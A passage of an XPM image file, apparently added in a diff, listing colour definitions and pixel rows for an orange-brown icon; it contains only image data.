+"5{. c #F18928", +"6{. c #E58326", +"7{. c #E48226", +"8{. c #E48126", +"9{. c #E38126", +"0{. c #DE7E25", +"a{. c #D57923", +"b{. c #CC7421", +"c{. c #C36F20", +"d{. c #B75F1E", +"e{. c #BD6F1F", +"f{. c #C88020", +"g{. c #CD7921", +"h{. c #D57723", +"i{. c #E38226", +"j{. c #DF8025", +"k{. c #D87A24", +"l{. c #D07822", +"m{. c #CD8421", +"n{. c #C3751F", +"o{. c #BC621F", +"p{. c #C46D20", +"q{. c #CD7721", +"r{. c #D67A23", +"s{. c #DD7E25", +"t{. c #E07F25", +"u{. c #DC7B25", +"v{. c #D78023", +"w{. c #D48A22", +"x{. c #CC8620", +"y{. c #C1791F", +"z{. c #BC761E", +"A{. c #BD821D", +"B{. c #B6741D", +"C{. c #B0621D", +"D{. c #B8651E", +"E{. c #C27020", +"F{. c #C57520", +"G{. c #C77020", +"H{. c #CD7521", +"I{. c #CD7422", +"J{. c #D07622", +"K{. c #CF7522", +"L{. c #CD7421", +"M{. c #CC7821", +"N{. c #CB7421", +"O{. c #C76F21", +"P{. c #C47220", +"Q{. c #C56E20", +"R{. c #C77420", +"S{. c #C77121", +"T{. c #CB7321", +"U{. c #CE7422", +"V{. c #CD7221", +"W{. c #CE7621", +"X{. c #D27822", +"Y{. c #D67823", +"Z{. c #DA7B24", +"`{. c #DF7E25", +" ]. c #E38026", +".]. c #E17E25", +"+]. c #DD7C25", +"@]. c #D87923", +"#]. c #D47623", +"$]. c #D27922", +"%]. c #D67723", +"&]. c #DB7B24", +"*]. c #D77823", +"=]. c #C36D20", +"-]. c #B36B1D", +";]. c #B96E1E", +">]. c #C26D1F", +",]. c #D77824", +"']. c #CA741D", +")]. c #6E381B", +"!]. c #52241D", +"~]. c #AE4D00", +"{]. c #FFBE8D", +"]]. c #FFF9F5", +"^]. c #EA832C", +"/]. c #7E3C07", +"(]. c #471A25", +"_]. c #552125", +":]. c #66321C", +"<]. c #7D411A", +"[]. c #7D3F1D", +"}]. c #7B3F1D", +"|]. c #7B3E1D", +"1]. c #7A3E1D", +"2]. c #773D1C", +"3]. c #733B1B", +"4]. c #703A1B", +"5]. c #6C371A", +"6]. c #692F1A", +"7]. c #6B301B", +"8]. c #71391B", +"9]. c #753C1C", +"0]. c #783C1D", +"a]. c #793D1D", +"b]. c #763D1C", +"c]. c #6E331B", +"d]. c #6A301A", +"e]. c #6C361A", +"f]. c #703B1B", +"g]. c #763C1C", +"h]. c #793E1D", +"i]. c #783D1C", +"j]. c #74391C", +"k]. c #6F331B", +"l]. c #6B301A", +"m]. c #662E19", +"n]. c #642C19", +"o]. c #632C19", +"p]. c #622C19", +"q]. c #642F19", +"r]. c #6B391A", +"s]. c #6E3B1A", +"t]. c #6E341B", +"u]. c #70371B", +"v]. c #723D1B", +"w]. c #71351B", +"x]. c #72391B", +"y]. c #743E1C", +"z]. c #733D1C", +"A]. c #723A1B", +"B]. c #70341B", +"C]. c #713B1B", +"D]. c #713D1B", +"E]. c #6E371B", +"F]. c #6D331B", +"G]. c #703C1B", +"H]. c #70391B", +"I]. c #733D1B", +"J]. c #743D1B", +"K]. c #743E1B", +"L]. c #71361B", +"M]. c #73391C", +"N]. c #77401C", +"O]. c #783F1C", +"P]. c #79401D", +"Q]. c #7B411D", +"R]. c #7C411D", +"S]. c #773F1C", +"T]. c #76411C", +"U]. c #77411C", +"V]. c #78401C", +"W]. c #79401C", +"X]. c #743F1C", +"Y]. c #713F1B", +"Z]. c #6B371A", +"`]. c #652D19", +" ^. c #683119", +".^. c #703E1A", +"+^. c #77421A", +"@^. c #582422", +"#^. c #4C1A28", +"$^. c #603118", +"%^. c #FFD9BD", +"&^. c #FBAF77", +"*^. c #B64B00", +"=^. c #572D1A", +"-^. c #491925", +";^. c #481924", +">^. c #491924", +",^. c #471924", +"'^. c #431822", +")^. c #451923", +"!^. c #481923", +"~^. c #461922", +"{^. c #4B1A28", +"]^. c #4B2220", +"^^. c #974500", +"/^. c #F08531", +"(^. c #FFF6F2", +"_^. c #F38532", +":^. c #B14B00", +"<^. c #6B3713", +"[^. c #4E211F", +"}^. c #4F221F", +"|^. c #4D211E", +"1^. c #4B201D", +"2^. c #4D201F", +"3^. c #51241D", +"4^. c #603119", +"5^. c #E46701", +"6^. c #FFDDC7", +"7^. c #FFF1EA", +"8^. c #F89953", +"9^. c #D76501", +"0^. c #B65100", +"a^. c #A24600", +"b^. c #F0832E", +"c^. c #FFD9C1", +"d^. c #FFDCC5", +"e^. c #FEB57B", +"f^. c #FEB67D", +"g^. c #FEB77F", +"h^. c #FEB87F", +"i^. c #FDB479", +"j^. c #FFBF8E", +"k^. c #FFD4B5", +"l^. c #FFFBFB", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . + @ # $ % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % & * = - . . . . . . ", +" . . . . ; > , ' ) ! ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ { ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ] ^ / ( _ . . . . . ", +" . . . . ; : < [ } | 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2 1 1 | 3 3 4 3 5 1 1 1 1 2 2 1 | | 3 3 6 | 1 1 1 1 | | 6 6 | 1 1 2 1 1 1 1 1 1 1 1 1 1 1 2 1 1 | | | 1 2 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 8 9 0 a b . . . . ", +" . . . . c d e f g h i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i j j k l m m n m k o j i i i p k k q q q k k r r r o o k q q q k r i i i i i i i i i i i i p o k k k k o j i i i i i i i i i i i i i i i p g i s t u v . . . ", +" . . . w x y z A B C D E E E E E E E F F F F F F F F F G G G G G G G G G G G G G H H H H H H H I J K L M N N O P Q R S T T U V W X Y Z ` Z L X X . X .. +. @. Z #. X $. J S H %. %. %. %. %. %. &. &. *. =. -. Q ;. >. ,. '. ). &. !. !. !. !. !. !. !. !. !. ~. ~. C C C {. ]. ^. /. (. _. :. . . . . ", +". . . . <. [. }. |. 1. 2. 3. 4. 5. 5. 6. 6. 6. 6. 6. 6. 6. 6. 6. 6. 5. 6. 6. 7. 6. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 8. 9. 0. a. b. c. d. e. b. a. f. g. h. i. j. k. f. l. m. n. o. p. q. r. s. t. t. m. u. v. w. x. o. y. z. A. B. h. 8. 7. C. D. 7. C. C. E. F. G. H. I. J. K. L. M. g. N. O. O. P. P. O. Q. D. R. R. R. S. S. S. R. 3. T. U. V. W. ! X. . . . . ", +". . . . Y. Z. `. h + .+ ++ @+ #+ $+ %+ &+ *+ =+ -+ ;+ >+ ,+ '+ )+ !+ ~+ {+ ]+ ^+ /+ (+ _+ :+ <+ [+ }+ |+ 1+ 2+ 3+ 4+ 5+ 6+ 7+ 8+ 9+ 0+ a+ b+ c+ d+ e+ f+ g+ h+ i+ j+ k+ l+ m+ m+ m+ n+ o+ p+ q+ r+ s+ r+ t+ u+ v+ w+ x+ y+ z+ A+ B+ C+ D+ E+ F+ G+ H+ I+ J+ K+ L+ M+ N+ O+ P+ Q+ R+ S+ T+ U+ V+ W+ X+ Y+ Z+ `+ @ .@ +@ @@ #@ $@ %@ &@ *@ =@ -@ ;@ >@ ,@ '@ )@ !@ r ~@ {@ ]@ . . . . ", +". . . . ^@ /@ (@ g _@ :@ <@ [@ }@ |@ 1@ 2@ 3@ 4@ 5@ 6@ 7@ 8@ 9@ 0@ a@ b@ c@ d@ e@ f@ g@ h@ i@ j@ k@ l@ m@ n@ o@ p@ q@ r@ s@ t@ u@ v@ w@ x@ y@ z@ A@ B@ C@ D@ E@ F@ G@ H@ I@ J@ K@ L@ M@ N@ O@ P@ Q@ R@ S@ T@ U@ V@ W@ X@ Y@ Z@ `@ # .# C@ +# @# ## $# %# &# *# =# -# ;# ># ,# '# )# !# ~# {# ]# ^# /# (# _# :# <# [# }# |# 1# 2# 3# 4# 5# 6# 7# 8# 9# 0# a# b# c# d# e# f# g# . . . . ", +". . . . h# i# j# g _@ k# l# m# n# o# p# q# r# s# t# u# v# w# x# y# z# A# B# C# D# E# F# G# H# I# J# K# L# M# N# O# P# Q# R# S# T# U# V# W# X# Y# Z# `# $ .$ +$ @$ #$ $$ %$ &$ *$ =$ -$ ;$ >$ ,$ '$ )$ !$ ~$ {$ ]$ ^$ /$ ($ _$ :$ <$ [$ }$ |$ 1$ 2$ 3$ 4$ 5$ 6$ 7$ 8$ 9$ 0$ a$ b$ c$ d$ e$ f$ g$ h$ i$ j$ k$ l$ m$ n$ o$ p$ q$ r$ s$ t$ u$ v$ w$ x$ y$ z$ A$ B$ C$ d# e# D$ E$ . . . . ", +". . . . h# i# j# g _@ k# F$ G$ H$ I$ J$ K$ L$ M$ N$ t# u# O$ P$ x# y# z# A# Q$ R$ S$ T$ F# G# U$ I# J# V$ L# W$ X$ N# Y$ Q# R# Z$ `$ % .% +% @% #% m@ $% %% &% *% =% -% ;% ;% >% ,% '% )% !% ~% {% ]% ^% /% (% _% :% <% [% }% |% 1% 2% 3% 4% 5% 6% 7% 8% 9% 0% a% b% 0$ a$ c% d% e% f% g% h% i% j% k% l% m% n% o% p% q% r% s% t% u% v% w% x% y% z% A% B% C% D% C$ E% e# D$ E$ . . . . ", +". . . . h# i# j# g _@ k# F% G% H% I% I$ J$ K$ L$ s# J% K% v# w# L% x# y# z# A# Q$ R$ S$ T$ F# G# H# I# J# V$ L# W$ X$ N# Y$ P# Q# M% N% O% P% Q% R% S% T% U% V% W% X% Y% Z% Z% `% & .& +& @& #& $& %& && *& =& -& ;& >& ,& '& )& !& ~& {& ]& ^& /& (& _& :& <& [& }& |& 1& 2& 3& 4& 5& 6& 7& 8& 9& 0& a& b& c& d& e& f& g& h& i& j& k& l& m& n& o& p& q& r& s& t& E% e# D$ E$ . . . . ", +". . . . h# i# j# g _@ k# u& v& w& H$ n# x& p# q# r# s# J% K% v# w# L% y& z& A& B& Q$ R$ S$ T$ F# G# U$ I# C& V$ L# W$ M# N# O# Y$ D& E& F& G& H& I& J& K& L& M& N& O& P& P& Q& R& S& T& U& V& W& X& Y& Z& `& * .* +* @* #* $* %* &* ** =* -* ;* >* ,* o@ '* )* !* ~* {* ]* ^* /* (* _* :* <* [* }* |* 1* 2* 3* 4* 5* 6* 7* 8* 9* 0* a* b* c* d* e* f* g* h* i* j* E% e# D$ E$ . . . . ", +". . . . h# i# j# g _@ k# k* l* m* w& H$ n# x& p# L$ M$ s# J% K% v# w# L% y& z& A& A# Q$ R$ S$ E# F# G# U$ I# C& V$ K# L# M# X$ n* o* p* q* r* s* t* u* v* .% w* x* x* y* y* z* A* B* C* D* E* F* G* H* $% I* J* K* q@ L* -* M* N* O* P* Q* R* S* T* U* V* W* X* Y* Z* `* = .= += @= #= $= %= &= *= == -= ;= >= ,= '= )= != ~= {= ]= ^= /= (= _= := <= [= }= |= 1= 2= e# D$ E$ . . . . ", +". . . . h# i# j# g _@ 3= 4= 5= 6= 7= H% I% 8= J$ K$ L$ M$ N$ t# u# O$ P$ L% y& 9= A& B& 0= R$ D# E# T$ a= U$ H# C& J# V$ L# W$ b= c= d= e= f= g= h= i= j= k= l= m= m= m= n= w* o= p= q= r= s= t= u= v= w= x= y= z= A= B= C= D= E= F= G= H= I= J= K= L= M= N= O= P= Q= R= S= T= U= V= W= X= Y= Z= `= - .- +- @- #- $- %- &- *- =- -- ;- >- ,- '- )- !- ~- {- ]- ^- /- e# D$ E$ . . . . ", +". . . . h# i# j# g _@ 3= (- _- :- <- 7= H% [- 8= J$ K$ L$ M$ N$ t# u# O$ P$ }- |- 1- 2- 3- 4- 5- D# E# 6- 7- G# H# I# C& 8- K# 9- 0- a- b- c- d- e- f- g- h- i- j- k- k- l= l- m- n- o- p- P% q- q- r- s- t- u- v- w- x- y- z- A- B- C- D- E- F- G- H- I- J- K- L- M- N- O- P- Q- R- S- T- Z= U- V- W- X- Y- Z- `- [@ ; .; +; @; #; $; %; &; *; =; -; ;; >; ,; '; ); !; D$ E$ . . . . ", +". . . . h# i# j# g _@ 3= ~; {; ]; 6= m* w& H$ n# x& p# q# r# M$ N$ ^; /; (; _; :; <; [; }; |; 1; 2; 3; 4; 5; 6; 7; 8; 9; 0; a; b; c; d; e; f; g; h; i; j; k; l; m; m; m; n; o; p; q; r; s; t; u; v; w; x; y; z; A; B; C; D; E; F; G; H; I; J; K; L; M; N; O; P; Q; R; S; T; U; V; W; X; Y; Z; `; > .> +> @> #> $> %> &> *> => -> ;> >> ,> '> )> !> ~> )- {> ]> ^> /> !; D$ E$ . . . . ", +". . . . h# i# j# g _@ 3= (> _> :> ]; 6= m* w& H$ n# x& p# q# <> [> }> |> 1> 2> 3> 4> 5> 6> 7> 8> 9> 0> a> b> c> d> e> f> e> g> h> i> j> k> l> m> n> o> p> o* q> r> s> s> t> u> v> w> x> y> z> s- A> B> C> D> E> F> G> H> I> J> K> L> M> H; N> O> K; P> Q> R> S> T> U> V> W> X> Y> Z> `> , ., +, @, #, $, %, &, *, =, -, ;, >, ,, ', ), !, ~, {, ], ^, /, (, _, :, <, [, D$ E$ . . . . ", +". . . . h# i# j# g _@ 3= }, |, 1, 2, :- 6= 7= w& I% n# o# 3, 4, 5, 6, 7, 8, 9, 0, a, b, c, d, e, f, g, h, i, j, k, l, e@ m, n, o, p, q, r, s, t, u, v, w, x, y, z, A, A, B, C, D, E, F, G, s@ H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Y, Z, `, ' S> .' +' @' #' $' %' &' *' =' -' ;' >' ,' '' )' !' ~' {' ]' ^' /' (' _' :' <' [' }' |' 1' 2' 3' 4' 5' 6' f# E$ . . . . ", +". . . . h# i# j# g _@ 3= 7' 8' 9' 1, 2, :- <- 7= H% I% 0' a' b' c' d' e' f' g' h' i' j' k' l' m' n' o' p' q' r' s' t' u' v' w' x' y' z' A' B' C' D' E' F' G' H' I' I' J' b= K' L' M' N' O' P' Q' R' S' T' U' V' W' X' Y' Z' `' ) .) +) @) #) $) %) %) &) *) =) -) ;) >) ,) ') )) !) ~) {) ]) ^) /) () _) :) <) [) }) c* |) 1) 2) 3) 4) 5) 6) 7) 8) 9) 0) a) b) 4' 5' 6' f# E$ . . . . ", +". . . . h# i# j# g _@ 3= c) d) e) f) g) 2, :- <- 7= h) i) j) k) l) m) n) o) p) q) r) s) t) u) v) w) x) y) z) A) B) C) D) E) F) G) H) I) J) K) L) M) N) O) P) Q) R) S) S) T) T) H' U) A> V) W) X) Y) Z) `) ! .! +! @! #! $! %! &! *! =! -! ;! >! ,! '! )! !! ~! {! ]! ^! .' /! (! _! :! ~ ,~ '~ )~ !~ ~~ {~ ]~ ^~ /~ (~ _~ :~ <~ [~ }~ |~ 1~ 2~ 3~ 4~ 5~ 6~ 7~ 8~ 9~ 0~ a~ b~ c~ d~ e~ f~ g~ h~ i~ j~ k~ l~ m~ n~ o~ p~ q~ r~ s~ t~ u~ [, v~ E$ . . . . ", +". . . . h# i# j# g _@ l! w~ x~ y~ o! e) f) g) z~ A~ B~ C~ D~ E~ F~ G~ H~ I~ J~ K~ L~ M~ g' N~ O~ P~ Q~ R~ S~ T~ U~ V~ W~ X~ Y~ Z~ `~ { .{ +{ @{ #{ ${ %{ &{ *{ ={ -{ ;{ ;{ >{ n@ ,{ '{ ){ !{ ~{ {{ ]{ ^{ /{ ({ _{ :{ <{ [{ }{ |{ 1{ 2{ 3{ 4{ 5{ 6{ 7{ 8{ 9{ 0{ a{ b{ c{ d{ e{ f{ g{ h{ i{ j{ k{ l{ m{ n{ o{ p{ q{ r{ s{ t{ u{ v{ w{ x{ y{ z{ A{ B{ C{ D{ E{ F{ G{ H{ [, f# E$ . . . . ", +". . . . h# i# j# g I{ J{ K{ L{ M{ N{ O{ e) f) g) P{ Q{ R{ S{ T{ U{ V{ W{ X{ Y{ Z{ `{ ] .] +] @] #] $] %] &] *] =] -] ;] >] ,] '] )] !] ~] {] ]] ^] /] (] _] :] <] [] }] |] 1] 2] 3] 4] 5] ~{ {{ ]{ ^{ /{ 6] 7] 8] 9] 0] a] b] c] d] e] f] g] h] i] j] k] l] m] n] o] p] q] r] s] t] u] v] w] x] y] z] A] B] C] D] E] F] G] H] I] J] K] L] M] N] O] P] Q] R] S] T] U] !; D$ E$ . . . . ", +". . . . h# i# j# g I{ J{ V] W] X] M{ N{ O{ e) Y] Z] `] ^ .^ +^ 0) @^ #^ $^ %^ &^ *^ =^ -^ ;^ >^ ,^ '^ )^ Z= !^ ~^ {^ ]^ ^^ /^ (^ _^ :^ <^ [^ }^ |^ 1^ 2^ 3^ 4^ 5^ 6^ 7^ 8^ 9^ 0^ a^ b^ c^ d^ {{ e^ f^ g^ h^ i^ j^ k^ l^ m^ n^ o^ p^ q^ r^ s^ t^ u^ v^ w^ x^ y^ z^ A^ B^ C^ D^ E^ F^ G^ H^ I^ J^ K^ L^ M^ N^ O^ P^ Q^ R^ S^ T^ U^ V^ W^ X^ Y^ Z^ `^ / ./ +/ @/ #/ U] $/ D$ E$ . . . . ", +". . . . h# i# j# g I{ J{ %/ &/ */ X] M{ N{ =/ -/ ;/ >/ ,/ '/ )/ !/ ~/ {/ ]/ ^/ // (/ _/ :/ ( ,( '( )( X] M{ !( ~( {( ]( ^( /( (( _( :( <( [( }( /, |( 1( 2( 3( x! y! 4( 5( O$ 6( 7( 8( 9( 0( a( b( c( d( e( f( g( h( i( j( k( l( m( n( J' o( p( q( r( s( t( m/ %~ t( u( v( w( x( y( z( A( B( C( D( E( F( G( H( I( J( K( L( M( N( O( P( Q( R( S( T( U( V( W( X( Y( Z( `( _ ._ +_ @_ #_ $_ 0) %_ &_ *_ =_ -_ ;_ >_ ,_ '_ )_ !_ ~_ {_ U] $/ D$ E$ . . . . ", +". . . . h# i# j# g ]_ ^_ /_ (_ __ '( )( :_ <_ [_ }_ |_ 1_ 2_ 3_ 4_ 5_ 6_ 7_ 8_ 9_ 0_ a_ b_ c_ d_ x! e_ f_ g_ h_ i_ j_ e^ {{ k_ t( l_ m_ n_ o_ p_ q_ r_ s_ t_ u_ v_ w_ x_ y_ z_ A_ t( B_ C_ D_ E_ F_ G_ H_ I_ J_ K_ L_ M_ N_ x^ O_ P_ P_ Q_ R_ S_ T_ U_ V_ W_ X_ Y_ Z_ `_ : .: +: @: #: $: %: &: *: =: -: ;: >: ,: ': ): !: ~: {: ]: ^: /: (: _: :: <: [: }: |: 1: H{ [, f# E$ . . . . ", +". . . . h# i# j# g ]_ ^_ 2: 3: 4: __ '( */ 5: 6: 7: 8: 9: 0: a: b: c: d: e: f: g: h: i: j: k: l: c_ m: n: o: p: q: r: s: t: u: v: w: x: y: z: A: B: C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: K_ V: W: X: Y: Z: `: < .< +< @< #< $< %< &< *< =< -< ;< >< ,< '< +: )< !< ~< {< ]< ^< /< (< _< :< << [< }< |< 1< 2< 3< 4< 5< 6< 7< 8< 9< 0< a< b< c< H{ [, f# E$ . . . . ", +". . . . h# i# j# g ]_ ^_ d< e< f< 4: __ g< h< i< j< k< l< m< n< o< p< q< r< s< t< u< v< w< x< y< z< A< B< C< D< v: u: E< F< G< H< I< J< K< L< M< N< O< P< Q< R< S< T< U< V< q( W< X< Y< Z< `< [ .[ +[ @[ #[ $[ %[ >= &[ *[ %[ =[ -[ -[ ;[ >[ ,[ '[ )[ ![ ~[ {[ ][ ^[ /[ ([ J; _[ :[ <[ [[ }[ |[ 1[ 2[ 3[ 4[ 5[ 6[ 7[ d: 8[ 9[ 0[ a[ b[ c[ d[ e[ f[ g[ h[ i[ j[ k[ l[ [, f# E$ . . . . ", +". . . . h# i# j# g ]_ ^_ m[ n[ o[ p[ 4: q[ r[ s[ t[ u[ v[ w[ x[ y[ z[ A[ B[ C[ D[ E[ F[ G[ H[ I[ J[ K[ L[ M[ N[ O[ P[ Q[ R[ S[ T[ U[ V[ W[ X[ Y[ Z[ `[ } .} +} @} #} $} %} &} *} =} -} ;} >} ,} '} )} !} ~} {} ]} ^} /} (} _} :} *' <} [} }} |} 1} 2} 3} 4} 5} 6} 7} 8} H; J; 9} 0} a} b} c} d} e} f} g} h} i} j} (( k} l} m} n} o} p} q} r} s} t} u} v} w} x} y} z} 6' f# E$ . . . . ", +". . . . h# i# j# g ]_ ^_ A} B} C} o[ f< D} E} F} G} H} I} J} K} L} M} N} O} P} Q} R} B~ S} F[ T} E~ U} V} W} X} Y} E< R[ Z} F< `} | .| +| @| #| $| %| &| *| =| -| ;| . >| ,| '| )| !| ~| {| ]| ^| /| (| _| :| <| [| }| || 1| 2| 3| 4| 5| 6| 7| 8| 9| 0| a| b| c| d| M> e| f| g| h| i| j| k| l| -; m| n| o| p| q| 3_ r| s| t| u| v| w| x| y| z| A| B| C| D| E| F| <, G| f# E$ . . . . ", +". . . . h# i# j# g ]_ ^_ H| I| J| C} o[ f< K| L| M| N| O| P| Q| R| S| T| U| V| W| X| Y| Z| `| 1 .1 +1 @1 #1 $1 %1 Q[ &1 Z} F< *1 =1 -1 R: ;1 >1 ,1 '1 )1 !1 ~1 {1 ]1 ^1 /1 (1 _1 :1 <1 G! [1 }1 |1 11 21 31 41 51 61 61 71 81 L> 91 01 a1 b1 c1 d1 e1 f1 g1 h1 i1 j1 L> k1 l1 m1 n1 o1 p1 q1 r1 s1 t1 D) u1 v1 3_ w1 x1 y1 z1 A1 B1 C1 D1 E1 F1 G1 H1 I1 J1 K1 L1 <, G| M1 E$ . . . . ", +". . . . h# i# j# g ]_ N1 O1 P1 Q1 J| C} R1 S1 T1 U1 V1 W1 X1 Y1 Z1 `1 2 .2 +2 @2 #2 $2 %2 &2 *2 =2 -2 ;2 >2 ,2 '2 )2 &1 Z} F< q( !2 ~2 {2 ]2 ^2 /2 (2 _2 :2 <2 $} [2 }2 |2 12 22 32 42 52 62 72 2/ 82 92 K: 02 a2 b2 S' c2 d2 e2 f2 g2 h2 i2 j2 k2 l2 m2 n2 M> o2 p2 M> q2 r2 s2 t2 u2 v2 w2 x2 %_ y2 z2 A2 B2 w1 C2 D2 E2 F2 G2 H2 I2 J2 K2 L2 M2 N2 O2 P2 Q2 R2 <, G| D$ E$ . . . . ", +". . . . h# i# j# g ]_ N1 S2 T2 U2 V2 J| W2 R1 X2 Y2 Z2 `2 3 .3 +3 @3 #3 $3 %3 &3 *3 =3 -3 ;3 >3 ,3 '3 )3 !3 K: s: Z} ~3 Z} {3 ]3 ^3 /3 (3 _3 :3 <3 [3 }3 |3 13 23 33 43 53 63 73 83 93 03 a3 b3 c3 d3 e3 f3 g3 h3 i3 j3 k3 l3 I> m3 n3 o3 p3 q3 r3 s3 t3 u3 v3 w3 x3 y3 z3 A3 B3 C3 D3 E3 F3 }< G3 H3 I3 B2 J3 K3 L3 M3 N3 O3 P3 Q3 R3 S3 T3 U3 V3 W3 X3 Y3 Z3 `3 <, G| D$ E$ . . . . ", +". . . . h# i# j# g ]_ N1 4 .4 +4 U2 @4 J| C} R1 #4 T1 $4 %4 &4 s[ *4 =4 -4 ;4 >4 ,4 '4 )4 !4 ~4 {4 /, ]4 ^4 /4 (4 _4 :4 <4 [4 }4 |4 14 24 34 44 54 64 74 84 94 04 a4 b4 c4 d4 e4 f4 g4 h4 i4 j4 k4 l4 m4 n4 t( o4 p4 q4 r4 s4 9( @! t( t4 u4 v4 w4 x4 y4 z4 M, A4 B4 C4 D4 E4 F4 G4 H4 I4 d: J4 K4 L4 w1 M4 N4 O4 P4 Q4 R4 S4 T4 U4 V4 W4 X4 Y4 Z4 `4 5 .5 +5 @5 <, 6' D$ E$ . . . . ", +". . . . h# i# j# g ]_ N1 #5 $5 %5 +4 &5 @4 *5 W2 =5 o[ -5 ;5 %4 >5 ,5 '5 )5 !5 ~5 {5 ]5 ^5 /5 (5 _5 :5 <5 [5 }5 Q[ :4 |5 Q[ L: 15 25 35 45 55 65 75 85 95 05 a5 b5 c5 d5 e5 f5 g5 h5 i5 j5 k5 l5 m5 n5 o5 p5 q5 r5 s5 t5 u5 v5 w5 e^ x5 y5 z5 A5 `} B5 C5 Q, D5 E5 F5 G5 H5 I5 J5 K5 L5 M5 (( N5 w1 J3 O5 P5 Q5 R5 S5 T5 U5 V5 W5 X5 Y5 Z5 `5 6 .6 +6 @6 #6 $6 %6 l[ [, D$ E$ . . . . ", +". . . . h# i# j# g ]_ N1 &6 *6 =6 %5 -6 &5 U2 ;6 >6 ,6 '6 )6 !6 ~6 {6 ]6 ^6 /6 (6 _6 :6 <6 [6 }6 |6 16 26 36 46 56 :4 _4 66 %} 76 86 96 06 a6 b6 c6 d6 e6 f6 04 g6 h6 i6 j6 k6 l6 m6 n6 o6 p6 q6 r6 s6 t6 u6 v6 w6 x6 y6 z6 A6 B6 F< C6 G< D6 E6 F6 G6 H6 M, d| I6 J6 K6 L6 M6 N6 O6 P6 k} Q6 J3 x[ R6 S6 T6 U6 V6 W6 X6 Y6 Z6 `6 7 .7 +7 @7 #7 $7 %7 &7 *7 =7 -7 H{ !; D$ E$ . . . . ", +". . . . h# i# j# g ]_ N1 ;7 >7 ,7 =6 %5 -6 &5 U2 '7 )7 !7 ~7 {7 ]7 ^7 /7 (7 _7 :7 <7 [7 }7 |7 17 27 37 47 b2 57 67 :4 <4 F< 77 87 97 07 a7 b7 c7 d7 e7 g^ a5 f7 g7 h7 i7 j7 k7 l7 m7 n7 o7 p7 -, q7 r7 s7 t7 u7 v7 w7 x7 y7 z7 :4 :4 Z} A7 B7 C7 D7 G6 E7 F7 G7 H7 I7 J7 K7 L7 M7 N7 O7 J3 M4 P7 Q7 R7 S7 T7 U7 V7 W7 X7 Y7 Z7 `7 8 .8 +8 @8 #8 $8 %8 &8 *8 =8 -8 U] ;8 D$ E$ . . . . ", +". . . . h# i# j# g ]_ >8 ,8 '8 )8 !8 =6 ~8 -6 {8 ]8 ^8 /8 (8 _8 :8 <8 [8 }8 |8 18 28 38 48 58 -4 B2 68 78 88 G< 67 :4 67 98 08 a8 b8 c8 d8 8! e8 f8 05 g8 %} h8 i8 j8 k8 l8 m8 n8 o8 p8 q8 r8 s8 t8 u8 5] U, !{ v8 w8 x8 y8 z8 A8 A8 B8 C8 56 57 D8 B5 M> E8 F8 G8 H8 I8 J8 K8 L8 M8 M4 N8 O8 P8 Q8 R8 S8 T8 U8 V8 W8 X8 Y8 `7 Z8 `8 9 .9 +9 @9 #9 $9 %9 &9 *9 =9 /- e# D$ E$ . . . . ", +". . . . h# i# j# g ]_ >8 -9 ;9 >9 ,9 !8 ,7 '9 )9 !9 ~9 {9 ]9 ^9 /9 (9 _9 :9 <9 [9 }9 |9 19 29 39 49 59 69 79 E< 67 _4 Q[ 89 99 09 a9 b9 c9 d9 e9 f9 g9 h9 i9 j9 k9 l9 m9 n9 o9 p9 q9 r9 s9 t9 u9 v9 w9 x9 y9 z9 A9 05 *1 B9 Z} B8 C9 B8 C8 F< D9 E9 F9 G9 H9 I9 J9 K9 L9 M9 N9 O9 P9 Q9 R9 S9 T9 U9 V9 W9 X9 Y9 Z9 `9 0 .0 +0 @0 #0 $0 %0 &0 *0 =0 -0 ;0 >0 ,0 '0 2= e# D$ E$ . . . . ", +". . . . h# i# j# g ]_ >8 )0 !0 ~0 >9 ,9 !8 {0 ]0 ^0 /0 (0 _0 :0 <0 [0 }0 |0 10 20 30 40 50 60 70 80 90 00 *~ (4 <4 67 E< a0 b0 c0 d0 e0 d: f0 g0 6] y4 q( h0 i0 j0 k0 l0 m0 n0 o0 p0 q0 r0 s0 t0 u0 v0 w0 x0 y0 z0 A0 B0 E< C0 A8 B8 A8 )2 C7 D0 E0 F0 G0 H0 I0 J0 K0 L0 M0 N0 O0 P0 Q0 R0 S0 T0 U0 V0 W0 X0 Y0 Z0 `0 a .a +a @a #a $a %a &a *a =a -a ;a >a ,a 'a 2= e# D$ E$ . . . . ", +". . . . h# i# j# g ]_ >8 )a !a ~a {a ]a ^a /a (a _a :a 